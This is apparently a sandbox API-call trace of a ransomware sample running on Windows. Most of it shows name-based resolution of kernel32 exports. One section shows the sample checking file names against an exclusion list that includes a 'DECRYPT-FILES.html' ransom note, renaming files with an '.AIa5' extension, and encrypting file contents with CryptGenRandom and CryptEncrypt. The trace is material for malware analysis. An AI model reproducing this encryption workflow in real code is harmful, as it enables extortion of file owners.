lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0129.594] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0129.594] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0129.594] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0129.594] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0129.594] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0129.594] lstrlenA (lpString="COPYCONTEXT") returned 11 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0129.594] lstrlenA (lpString="COPYFILE2") returned 9 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0129.594] lstrlenA (lpString="COPYFILEA") returned 9 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0129.594] lstrlenA (lpString="COPYFILEEXA") returned 11 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0129.594] lstrlenA (lpString="COPYFILEEXW") returned 11 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0129.594] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0129.594] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0129.594] lstrlenA (lpString="COPYFILEW") returned 9 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0129.594] lstrlenA (lpString="COPYLZFILE") returned 10 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0129.594] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0129.595] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0129.595] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0129.595] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0129.595] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0129.595] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0129.595] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0129.595] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0129.595] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0129.595] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0129.595] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0129.595] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0129.595] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0129.595] lstrlenA (lpString="CREATEEVENTA") returned 12 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0129.595] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0129.595] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0129.595] lstrlenA (lpString="CREATEEVENTW") returned 12 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0129.595] lstrlenA (lpString="CREATEFIBER") returned 11 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0129.595] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0129.595] lstrlenA (lpString="CREATEFILE2") returned 11 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0129.595] lstrlenA (lpString="CREATEFILEA") returned 11 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0129.595] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0129.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0129.596] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0129.596] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0129.596] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0129.596] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0129.596] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0129.596] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0129.596] lstrlenA (lpString="CREATEFILEW") returned 11 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0129.596] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0129.596] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0129.596] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0129.596] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0129.596] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0129.596] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0129.596] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0129.596] lstrlenA (lpString="CREATEJOBSET") returned 12 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0129.596] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0129.596] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0129.596] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0129.596] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0129.596] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0129.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0129.597] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0129.597] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0129.597] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0129.597] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0129.597] lstrlenA (lpString="CREATEPIPE") returned 10 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0129.597] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0129.597] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0129.597] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0129.597] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0129.597] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0129.597] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0129.597] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0129.597] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0129.597] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0129.597] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0129.597] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0129.597] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0129.597] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0129.597] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0129.597] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0129.597] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0129.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0129.598] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0129.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0129.598] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0129.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0129.598] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0129.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0129.598] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0129.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0129.598] lstrlenA (lpString="CREATETHREAD") returned 12 [0129.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0129.598] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0129.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0129.598] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0129.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0129.598] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0129.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0129.598] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0129.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0129.598] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0129.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0129.598] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0129.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0129.598] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0129.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0129.599] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1043\\eula.rtf.AIa5") returned 40 [0129.599] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.AIa5" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.aia5"), dwFlags=0x0) returned 1 [0129.599] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.599] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.600] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.600] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0129.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0129.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0129.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0129.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0129.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0129.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0129.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0129.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0129.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0129.600] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0129.600] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\") returned 27 [0129.600] lstrlenW (lpString="LocalizedData.xml") returned 17 [0129.600] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1043\\" | out: lpString1="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0129.600] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1043\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" [0129.600] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0129.601] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0129.601] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=79634) returned 1 [0129.601] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0129.601] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0129.730] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0129.730] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0129.730] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0129.731] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0129.731] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0129.742] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.743] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0129.743] CloseHandle (hObject=0x5f8) returned 1 [0129.743] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.743] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0129.744] CloseHandle (hObject=0x0) returned 0 [0129.744] CloseHandle (hObject=0x5f4) returned 1 [0129.746] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.746] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.747] GetTickCount () returned 0x35cf6 [0129.747] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0129.747] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0129.747] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0129.748] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0129.748] lstrlenA (lpString="kernel32.dll") returned 12 [0129.748] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0129.748] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0129.748] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0129.748] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0129.748] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0129.748] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0129.748] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0129.748] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0129.748] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0129.748] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0129.748] lstrlenA (lpString="ADDATOMA") returned 8 [0129.748] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0129.748] lstrlenA (lpString="ADDATOMW") returned 8 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0129.749] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0129.749] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0129.749] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0129.749] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0129.749] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 